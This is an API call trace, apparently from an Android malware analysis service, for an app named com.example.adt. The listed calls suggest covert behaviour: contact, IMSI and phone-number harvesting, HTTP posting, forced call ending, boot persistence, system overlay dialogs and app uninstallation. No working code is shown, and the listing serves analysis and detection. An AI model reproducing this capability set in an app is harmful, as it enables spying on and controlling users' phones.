API: android.os.Parcel->readException at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:25 | Show source |
---|
API: android.os.Parcel->readInt at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:27 | Show source |
---|
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:31 | Show source |
---|
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:33 | Show source |
---|
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:39 | Show source |
---|
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:41 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.App.changeApk:8 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.changeApk:10 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.App.changeApk:13 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.App.changeApk:16 | Show source |
---|
API: java.lang.String->equals at com.example.adt.App.changeApk:20 | Show source |
---|
API: java.net.URLDecoder->decode at com.example.adt.App.changeApk:24 | Show source |
---|
API: java.lang.String->split at com.example.adt.App.changeApk:29 | Show source |
---|
API: android.app.AlertDialog$Builder-><init> at com.example.adt.App.changeApk:35 | Show source |
---|
API: android.app.AlertDialog$Builder->setTitle at com.example.adt.App.changeApk:39 | Show source |
---|
API: android.app.AlertDialog$Builder->setPositiveButton at com.example.adt.App.changeApk:46 | Show source |
---|
API: android.app.AlertDialog$Builder->setNegativeButton at com.example.adt.App.changeApk:53 | Show source |
---|
API: android.app.AlertDialog$Builder->create at com.example.adt.App.changeApk:55 | Show source |
---|
API: android.app.AlertDialog->getWindow at com.example.adt.App.changeApk:58 | Show source |
---|
API: android.view.Window->setType at com.example.adt.App.changeApk:62 | Show source |
---|
API: android.app.AlertDialog->show at com.example.adt.App.changeApk:64 | Show source |
---|
API: com.example.adt.CoreService->getPackageManager at com.example.adt.App.autoChangeApps:8 | Show source |
---|
API: android.content.pm.PackageManager->getInstalledPackages at com.example.adt.App.autoChangeApps:12 | Show source |
---|
API: java.util.List->iterator at com.example.adt.App.autoChangeApps:15 | Show source |
---|
API: java.util.Iterator->hasNext at com.example.adt.App.autoChangeApps:18 | Show source |
---|
API: java.util.Iterator->next at com.example.adt.App.autoChangeApps:24 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.App.autoChangeApps:39 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.App.autoChangeApps:42 | Show source |
---|
API: android.content.pm.ApplicationInfo->loadLabel at com.example.adt.App.autoChangeApps:46 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:49 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:54 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:61 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:66 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.App.autoChangeApps:69 | Show source |
---|
API: java.lang.String->equals at com.example.adt.App.autoChangeApps:87 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.App.autoChangeApps:101 | Show source |
---|
API: android.os.Bundle-><init> at com.example.adt.App.autoChangeApps:104 | Show source |
---|
API: android.os.Bundle->putString at com.example.adt.App.autoChangeApps:108 | Show source |
---|
API: android.content.Intent->putExtras at com.example.adt.App.autoChangeApps:110 | Show source |
---|
API: android.content.Intent->setAction at com.example.adt.App.autoChangeApps:114 | Show source |
---|
API: com.example.adt.CoreService->sendBroadcast at com.example.adt.App.autoChangeApps:118 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.App.alertBroadCast:4 | Show source |
---|
API: android.content.Intent->setAction at com.example.adt.App.alertBroadCast:8 | Show source |
---|
API: android.content.Intent->putExtra at com.example.adt.App.alertBroadCast:13 | Show source |
---|
API: android.content.Intent->putExtra at com.example.adt.App.alertBroadCast:17 | Show source |
---|
API: android.content.Context->sendBroadcast at com.example.adt.App.alertBroadCast:21 | Show source |
---|
API: java.lang.Thread-><init> at ..:6 | Show source |
---|
API: java.lang.Thread->start at ..:8 | Show source |
---|
API: android.content.Context->getPackageManager at com.example.adt.App.getApps:6 | Show source |
---|
API: android.content.pm.PackageManager->getInstalledPackages at com.example.adt.App.getApps:10 | Show source |
---|
API: java.util.List->iterator at com.example.adt.App.getApps:13 | Show source |
---|
API: java.util.Iterator->hasNext at com.example.adt.App.getApps:16 | Show source |
---|
API: java.lang.String->equals at com.example.adt.App.getApps:24 | Show source |
---|
API: java.net.URLEncoder->encode at com.example.adt.App.getApps:30 | Show source |
---|
API: java.lang.String->equals at com.example.adt.App.getApps:38 | Show source |
---|
API: java.net.URLEncoder->encode at com.example.adt.App.getApps:44 | Show source |
---|
API: java.util.Iterator->next at com.example.adt.App.getApps:49 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.App.getApps:64 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.App.getApps:67 | Show source |
---|
API: android.content.pm.ApplicationInfo->loadLabel at com.example.adt.App.getApps:71 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:74 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:79 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:86 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:91 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.App.getApps:94 | Show source |
---|
API: java.lang.String->equals at com.example.adt.App.getApps:112 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.App.getApps:119 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.App.getApps:122 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:126 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:132 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.App.getApps:135 | Show source |
---|
API: java.lang.String->equals at com.example.adt.App.getApps:143 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.App.getApps:150 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.App.getApps:153 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:157 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:163 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.App.getApps:166 | Show source |
---|
API: com.example.adt.CoreService->getPackageManager at com.example.adt.App.hasApp:8 | Show source |
---|
API: android.content.pm.PackageManager->getInstalledPackages at com.example.adt.App.hasApp:12 | Show source |
---|
API: java.util.List->iterator at com.example.adt.App.hasApp:15 | Show source |
---|
API: java.util.Iterator->hasNext at com.example.adt.App.hasApp:18 | Show source |
---|
API: java.util.Iterator->next at com.example.adt.App.hasApp:23 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.App.hasApp:38 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.App.hasApp:41 | Show source |
---|
API: android.content.pm.ApplicationInfo->loadLabel at com.example.adt.App.hasApp:45 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:48 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:53 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:60 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:65 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.App.hasApp:68 | Show source |
---|
API: java.lang.String->equals at com.example.adt.App.hasApp:75 | Show source |
---|
API: java.lang.Object-><init> at ..:3 | Show source |
---|
API: java.util.ArrayList-><init> at ..:6 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.App$1.run:12 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.App$1.run:15 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:19 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:24 | Show source |
---|
API: java.lang.String->trim at com.example.adt.App$1.run:35 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:38 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:43 | Show source |
---|
API: java.lang.String->trim at com.example.adt.App$1.run:54 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:57 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:62 | Show source |
---|
API: com.example.adt.App->getApps at com.example.adt.App$1.run:67 | Show source |
---|
API: java.lang.String->trim at com.example.adt.App$1.run:70 | Show source |
---|
API: java.net.URLEncoder->encode at com.example.adt.App$1.run:73 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:76 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.App$1.run:79 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.App$1.run:87 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:89 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.App$1.run:92 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.App$1.run:95 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: android.content.BroadcastReceiver-><init> at ..:2 | Show source |
---|
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:4 | Show source |
---|
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:9 | Show source |
---|
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:13 | Show source |
---|
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:18 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.BootBroadcastReceiver.onReceive:23 | Show source |
---|
API: android.content.Intent->setClass at com.example.adt.BootBroadcastReceiver.onReceive:26 | Show source |
---|
API: android.content.Context->startService at com.example.adt.BootBroadcastReceiver.onReceive:28 | Show source |
---|
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:30 | Show source |
---|
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:35 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.BootBroadcastReceiver.onReceive:42 | Show source |
---|
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:44 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.BootBroadcastReceiver.onReceive:47 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.BootBroadcastReceiver.onReceive:50 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.BootBroadcastReceiver.onReceive:53 | Show source |
---|
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:55 | Show source |
---|
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:60 | Show source |
---|
API: android.content.Intent->getDataString at com.example.adt.BootBroadcastReceiver.onReceive:64 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.BootBroadcastReceiver.onReceive:70 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.BootBroadcastReceiver.onReceive:74 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.BootBroadcastReceiver.onReceive:77 | Show source |
---|
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:80 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.BootBroadcastReceiver.onReceive:96 | Show source |
---|
API: android.content.Intent->getDataString at com.example.adt.BootBroadcastReceiver.onReceive:98 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.BootBroadcastReceiver.onReceive:101 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.BootBroadcastReceiver.onReceive:104 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.BootBroadcastReceiver.onReceive:107 | Show source |
---|
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:109 | Show source |
---|
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:114 | Show source |
---|
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:122 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.BootBroadcastReceiver.onReceive:134 | Show source |
---|
API: java.lang.Exception->printStackTrace at com.example.adt.BootBroadcastReceiver.onReceive:138 | Show source |
---|
API: com.example.adt.CoreService->uninstallAPK at com.example.adt.BootBroadcastReceiver.onReceive:143 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.String->replace at com.example.adt.Common.str_replace:7 | Show source |
---|
API: java.lang.String->replace at com.example.adt.Common.str_replace:14 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: android.content.Context->getSharedPreferences at com.example.adt.Config.get:8 | Show source |
---|
API: android.content.SharedPreferences->getInt at com.example.adt.Config.get:11 | Show source |
---|
API: java.lang.String->trim at com.example.adt.Config.getIMSI:12 | Show source |
---|
API: java.io.File->exists at com.example.adt.Config.getFileSizes:9 | Show source |
---|
API: java.io.FileInputStream-><init> at com.example.adt.Config.getFileSizes:15 | Show source |
---|
API: java.io.FileInputStream->available at com.example.adt.Config.getFileSizes:17 | Show source |
---|
API: java.io.File->createNewFile at com.example.adt.Config.getFileSizes:22 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.Config.getFileSizes:28 | Show source |
---|
API: java.lang.String->trim at com.example.adt.Config.getPhoneNumber:12 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.Config.<clinit>:16 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.Config.<clinit>:19 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Config.<clinit>:23 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.Config.<clinit>:26 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.Config.<clinit>:33 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.Config.<clinit>:36 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Config.<clinit>:40 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.Config.<clinit>:43 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: android.os.Environment->getExternalStorageState at com.example.adt.Config.getSDPath:3 | Show source |
---|
API: java.lang.String->equals at com.example.adt.Config.getSDPath:8 | Show source |
---|
API: android.os.Environment->getExternalStorageDirectory at com.example.adt.Config.getSDPath:12 | Show source |
---|
API: java.io.File->toString at com.example.adt.Config.getSDPath:15 | Show source |
---|
API: android.content.Context->getSharedPreferences at com.example.adt.Config.set:8 | Show source |
---|
API: android.content.SharedPreferences->edit at com.example.adt.Config.set:11 | Show source |
---|
API: android.content.SharedPreferences$Editor->putInt at com.example.adt.Config.set:14 | Show source |
---|
API: android.content.SharedPreferences$Editor->commit at com.example.adt.Config.set:16 | Show source |
---|
API: android.content.Context->getSharedPreferences at com.example.adt.Config.set:8 | Show source |
---|
API: android.content.SharedPreferences->edit at com.example.adt.Config.set:11 | Show source |
---|
API: android.content.SharedPreferences$Editor->putString at com.example.adt.Config.set:14 | Show source |
---|
API: android.content.SharedPreferences$Editor->commit at com.example.adt.Config.set:16 | Show source |
---|
API: android.content.Context->getSystemService at com.example.adt.Config.isNetworkConnected:6 | Show source |
---|
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.isNetworkConnected:10 | Show source |
---|
API: android.net.NetworkInfo->isAvailable at com.example.adt.Config.isNetworkConnected:14 | Show source |
---|
API: android.content.Context->getSystemService at com.example.adt.Config.getAPNType:11 | Show source |
---|
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.getAPNType:15 | Show source |
---|
API: android.net.NetworkInfo->getType at com.example.adt.Config.getAPNType:21 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.Config.getAPNType:29 | Show source |
---|
API: android.net.NetworkInfo->getExtraInfo at com.example.adt.Config.getAPNType:31 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Config.getAPNType:34 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.Config.getAPNType:37 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.Config.getAPNType:40 | Show source |
---|
API: android.net.NetworkInfo->getExtraInfo at com.example.adt.Config.getAPNType:43 | Show source |
---|
API: java.lang.String->toLowerCase at com.example.adt.Config.getAPNType:46 | Show source |
---|
API: java.lang.String->equals at com.example.adt.Config.getAPNType:51 | Show source |
---|
API: android.content.Context->getSystemService at com.example.adt.Config.isServiceRunning:7 | Show source |
---|
API: android.app.ActivityManager->getRunningServices at com.example.adt.Config.isServiceRunning:12 | Show source |
---|
API: java.util.List->size at com.example.adt.Config.isServiceRunning:15 | Show source |
---|
API: java.util.List->size at com.example.adt.Config.isServiceRunning:22 | Show source |
---|
API: java.util.List->get at com.example.adt.Config.isServiceRunning:28 | Show source |
---|
API: android.content.ComponentName->getClassName at com.example.adt.Config.isServiceRunning:34 | Show source |
---|
API: java.lang.String->equals at com.example.adt.Config.isServiceRunning:37 | Show source |
---|
API: android.content.Context->getSharedPreferences at com.example.adt.Config.get:8 | Show source |
---|
API: android.os.Environment->getExternalStorageDirectory at com.example.adt.Config.configPath:2 | Show source |
---|
API: java.io.File->getAbsolutePath at com.example.adt.Config.configPath:6 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.Config.configPath:9 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.Config.configPath:12 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Config.configPath:16 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.Config.configPath:19 | Show source |
---|
API: java.net.HttpURLConnection->getInputStream at com.example.adt.Connect.getHttpConnection:18 | Show source |
---|
API: java.io.InputStreamReader-><init> at com.example.adt.Connect.getHttpConnection:21 | Show source |
---|
API: java.io.BufferedReader-><init> at com.example.adt.Connect.getHttpConnection:24 | Show source |
---|
API: java.io.BufferedReader->readLine at com.example.adt.Connect.getHttpConnection:27 | Show source |
---|
API: java.io.InputStreamReader->close at com.example.adt.Connect.getHttpConnection:31 | Show source |
---|
API: java.net.HttpURLConnection->disconnect at com.example.adt.Connect.getHttpConnection:33 | Show source |
---|
API: android.util.Log->e at com.example.adt.Connect.getHttpConnection:43 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.Connect.getHttpConnection:47 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.Connect.getHttpConnection:50 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Connect.getHttpConnection:52 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Connect.getHttpConnection:57 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.Connect.getHttpConnection:60 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.Connect.getHttpConnection:67 | Show source |
---|
API: android.util.Log->e at com.example.adt.Connect.getHttpConnection:73 | Show source |
---|
API: android.util.Log->e at com.example.adt.Connect.getHttpConnection:80 | Show source |
---|
API: java.lang.Object-><init> at com.example.adt.Connect.<init>:2 | Show source |
---|
API: org.apache.http.client.methods.HttpPost-><init> at com.example.adt.Connect.postHttpConnection:9 | Show source |
---|
API: java.util.ArrayList-><init> at com.example.adt.Connect.postHttpConnection:12 | Show source |
---|
API: org.apache.http.message.BasicNameValuePair-><init> at com.example.adt.Connect.postHttpConnection:17 | Show source |
---|
API: java.util.List->add at com.example.adt.Connect.postHttpConnection:19 | Show source |
---|
API: org.apache.http.message.BasicNameValuePair-><init> at com.example.adt.Connect.postHttpConnection:24 | Show source |
---|
API: java.util.List->add at com.example.adt.Connect.postHttpConnection:26 | Show source |
---|
API: org.apache.http.message.BasicNameValuePair-><init> at com.example.adt.Connect.postHttpConnection:31 | Show source |
---|
API: java.util.List->add at com.example.adt.Connect.postHttpConnection:33 | Show source |
---|
API: org.apache.http.client.entity.UrlEncodedFormEntity-><init> at com.example.adt.Connect.postHttpConnection:38 | Show source |
---|
API: org.apache.http.client.methods.HttpPost->setEntity at com.example.adt.Connect.postHttpConnection:40 | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.example.adt.Connect.postHttpConnection:43 | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient->execute at com.example.adt.Connect.postHttpConnection:45 | Show source |
---|
API: org.apache.http.HttpResponse->getStatusLine at com.example.adt.Connect.postHttpConnection:48 | Show source |
---|
API: org.apache.http.StatusLine->getStatusCode at com.example.adt.Connect.postHttpConnection:51 | Show source |
---|
API: org.apache.http.HttpResponse->getEntity at com.example.adt.Connect.postHttpConnection:56 | Show source |
---|
API: org.apache.http.util.EntityUtils->toString at com.example.adt.Connect.postHttpConnection:59 | Show source |
---|
API: org.apache.http.client.ClientProtocolException->printStackTrace at com.example.adt.Connect.postHttpConnection:67 | Show source |
---|
API: java.io.IOException->printStackTrace at com.example.adt.Connect.postHttpConnection:71 | Show source |
---|
API: java.lang.Exception->printStackTrace at com.example.adt.Connect.postHttpConnection:75 | Show source |
---|
API: com.example.adt.CoreService->getContentResolver at com.example.adt.Contact.getPhoneContacts:8 | Show source |
---|
API: android.database.Cursor->getCount at com.example.adt.Contact.getPhoneContacts:21 | Show source |
---|
API: android.database.Cursor->moveToNext at com.example.adt.Contact.getPhoneContacts:25 | Show source |
---|
API: android.database.Cursor->close at com.example.adt.Contact.getPhoneContacts:29 | Show source |
---|
API: java.lang.Thread-><init> at com.example.adt.Contact.getPhoneContacts:35 | Show source |
---|
API: java.lang.Thread->start at com.example.adt.Contact.getPhoneContacts:37 | Show source |
---|
API: android.database.Cursor->getString at com.example.adt.Contact.getPhoneContacts:41 | Show source |
---|
API: android.text.TextUtils->isEmpty at com.example.adt.Contact.getPhoneContacts:44 | Show source |
---|
API: android.database.Cursor->getString at com.example.adt.Contact.getPhoneContacts:49 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.Contact.getPhoneContacts:55 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.Contact.getPhoneContacts:58 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:62 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:65 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:70 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:73 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.Contact.getPhoneContacts:76 | Show source |
---|
API: java.lang.Object-><init> at ..:3 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.Contact$1.run:26 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.Contact$1.run:29 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:33 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:38 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:41 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:46 | Show source |
---|
API: java.lang.String->trim at com.example.adt.Contact$1.run:56 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:59 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:64 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:67 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.Contact$1.run:70 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.Contact$1.run:84 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:86 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.Contact$1.run:89 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.Contact$1.run:92 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: android.app.Service->onCreate at com.example.adt.CoreService.onCreate:7 | Show source |
---|
API: java.lang.Thread-><init> at com.example.adt.CoreService.onCreate:14 | Show source |
---|
API: java.lang.Thread->start at com.example.adt.CoreService.onCreate:16 | Show source |
---|
API: android.os.StrictMode$ThreadPolicy$Builder-><init> at com.example.adt.CoreService.onCreate:22 | Show source |
---|
API: android.os.StrictMode$ThreadPolicy$Builder->detectDiskReads at com.example.adt.CoreService.onCreate:24 | Show source |
---|
API: android.os.StrictMode$ThreadPolicy$Builder->detectDiskWrites at com.example.adt.CoreService.onCreate:27 | Show source |
---|
API: android.os.StrictMode$ThreadPolicy$Builder->detectNetwork at com.example.adt.CoreService.onCreate:30 | Show source |
---|
API: android.os.StrictMode$ThreadPolicy$Builder->penaltyLog at com.example.adt.CoreService.onCreate:33 | Show source |
---|
API: android.os.StrictMode$ThreadPolicy$Builder->build at com.example.adt.CoreService.onCreate:36 | Show source |
---|
API: android.os.StrictMode->setThreadPolicy at com.example.adt.CoreService.onCreate:39 | Show source |
---|
API: android.os.StrictMode$VmPolicy$Builder-><init> at com.example.adt.CoreService.onCreate:42 | Show source |
---|
API: android.os.StrictMode$VmPolicy$Builder->detectLeakedSqlLiteObjects at com.example.adt.CoreService.onCreate:44 | Show source |
---|
API: android.os.StrictMode$VmPolicy$Builder->detectLeakedClosableObjects at com.example.adt.CoreService.onCreate:47 | Show source |
---|
API: android.os.StrictMode$VmPolicy$Builder->penaltyLog at com.example.adt.CoreService.onCreate:50 | Show source |
---|
API: android.os.StrictMode$VmPolicy$Builder->penaltyDeath at com.example.adt.CoreService.onCreate:53 | Show source |
---|
API: android.os.StrictMode$VmPolicy$Builder->build at com.example.adt.CoreService.onCreate:56 | Show source |
---|
API: android.os.StrictMode->setVmPolicy at com.example.adt.CoreService.onCreate:59 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService.onCreate:65 | Show source |
---|
API: android.content.IntentFilter-><init> at com.example.adt.CoreService.onCreate:78 | Show source |
---|
API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:82 | Show source |
---|
API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:86 | Show source |
---|
API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:90 | Show source |
---|
API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:94 | Show source |
---|
API: com.example.adt.CoreService$MyBroadcastReciver-><init> at com.example.adt.CoreService.onCreate:97 | Show source |
---|
API: java.lang.Thread-><init> at com.example.adt.CoreService.onCreate:120 | Show source |
---|
API: java.lang.Thread->start at com.example.adt.CoreService.onCreate:122 | Show source |
---|
API: java.lang.Thread-><init> at com.example.adt.CoreService.onCreate:128 | Show source |
---|
API: java.lang.Thread->start at com.example.adt.CoreService.onCreate:130 | Show source |
---|
API: com.example.adt.CoreService->getSystemService at com.example.adt.CoreService.showNofity:11 | Show source |
---|
API: java.lang.System->currentTimeMillis at com.example.adt.CoreService.showNofity:16 | Show source |
---|
API: android.app.Notification-><init> at com.example.adt.CoreService.showNofity:19 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.CoreService.showNofity:24 | Show source |
---|
API: android.app.PendingIntent->getBroadcast at com.example.adt.CoreService.showNofity:28 | Show source |
---|
API: android.app.Notification->setLatestEventInfo at com.example.adt.CoreService.showNofity:33 | Show source |
---|
API: android.app.NotificationManager->notify at com.example.adt.CoreService.showNofity:42 | Show source |
---|
API: android.app.Service->onStartCommand at ..:5 | Show source |
---|
API: android.app.Service-><init> at com.example.adt.CoreService.<init>:3 | Show source |
---|
API: java.lang.Boolean->valueOf at com.example.adt.CoreService.<init>:5 | Show source |
---|
API: java.lang.Boolean->valueOf at com.example.adt.CoreService.<init>:9 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.CoreService.<init>:45 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.CoreService.<init>:52 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:9 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:11 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:14 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.CoreService.autoChangeApk:17 | Show source |
---|
API: java.lang.String->equals at com.example.adt.CoreService.autoChangeApk:22 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService.autoChangeApk:34 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:37 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:39 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:42 | Show source |
---|
API: android.app.AlertDialog$Builder-><init> at com.example.adt.CoreService.autoChangeApk:54 | Show source |
---|
API: android.app.AlertDialog$Builder->setTitle at com.example.adt.CoreService.autoChangeApk:58 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.CoreService.autoChangeApk:63 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:66 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:70 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:73 | Show source |
---|
API: android.app.AlertDialog$Builder->setMessage at com.example.adt.CoreService.autoChangeApk:76 | Show source |
---|
API: android.app.AlertDialog$Builder->setPositiveButton at com.example.adt.CoreService.autoChangeApk:83 | Show source |
---|
API: android.app.AlertDialog$Builder->setNegativeButton at com.example.adt.CoreService.autoChangeApk:90 | Show source |
---|
